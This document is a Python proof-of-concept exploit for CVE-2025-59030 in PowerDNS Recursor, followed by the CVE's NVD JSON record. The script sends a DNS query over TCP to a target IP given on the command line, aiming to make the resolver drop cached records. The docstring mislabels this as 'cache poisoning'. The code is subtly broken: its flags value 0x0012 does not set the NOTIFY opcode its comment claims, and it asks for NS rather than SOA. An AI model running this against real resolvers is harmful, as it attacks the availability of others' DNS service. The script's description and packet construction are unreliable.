CVE-2025-59030

#!/usr/bin/env python3 """ CVE-2025-59030 PoC - PowerDNS Recursor NOTIFY Cache Poisoning This PoC demonstrates sending a NOTIFY query over TCP to trigger cache record removal in vulnerable PowerDNS Recursor versions. """ import socket import struct import random def build_dns_notify_query(domain): """Build a DNS NOTIFY query packet""" transaction_id = random.randint(0, 65535) # DNS Header header = struct.pack('>HHHHHH', transaction_id, # Transaction ID 0x0012, # Flags: NOTIFY query (RD=0, Opcode=4) 1, # Questions: 1 0, # Answer RRs: 0 0, # Authority RRs: 0 0 # Additional RRs: 0 ) # Question section qname = b'' for label in domain.split('.'): qname += bytes([len(label)]) + label.encode() qname += b'\x00' # End of domain name question = qname + struct.pack('>HH', 2, 1) # Type: NS, Class: IN return header + question def send_tcp_notify(target, port, domain): """Send NOTIFY query over TCP to target DNS server""" query = build_dns_notify_query(domain) # Prepend length for TCP packet = struct.pack('>H', len(query)) + query try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target, port)) sock.send(packet) # Receive response response_len = sock.recv(2) if response_len: length = struct.unpack('>H', response_len)[0] response = sock.recv(length) print(f'[+] NOTIFY sent successfully to {target}:{port}') print(f'[+] Domain: {domain}') return True except Exception as e: print(f'[-] Error: {e}') finally: sock.close() return False if __name__ == '__main__': import sys if len(sys.argv) < 3: print(f'Usage: {sys.argv[0]} <target_ip> <domain>') print(f'Example: {sys.argv[0]} 192.168.1.100 example.com') sys.exit(1) target = sys.argv[1] domain = sys.argv[2] print(f'[*] Sending NOTIFY query for {domain} to {target}') send_tcp_notify(target, 53, domain)

{"cve": {"id": "CVE-2025-59030", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:59.170", "lastModified": "2026-02-19T17:04:30.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker can trigger the removal of cached records by sending a NOTIFY query over TCP."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.1.0", "versionEndExcluding": "5.1.9", "matchCriteriaId": "A707AED1-4AF1-4543-860F-A71FF7E4BECC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2.0", "versionEndExcluding": "5.2.7", "matchCriteriaId": "58D8A4FA-1888-4526-8FAB-8FE3D3616128"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3.0", "versionEndExcluding": "5.3.3", "matchCriteriaId": "11674F0A-E56C-4919-81FC-E0EFA99A260F"}]}]}], "references": [{"url": "https://docs.powerdns.com/recursor/security-advisories/powerdns-advisory-2025-08.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}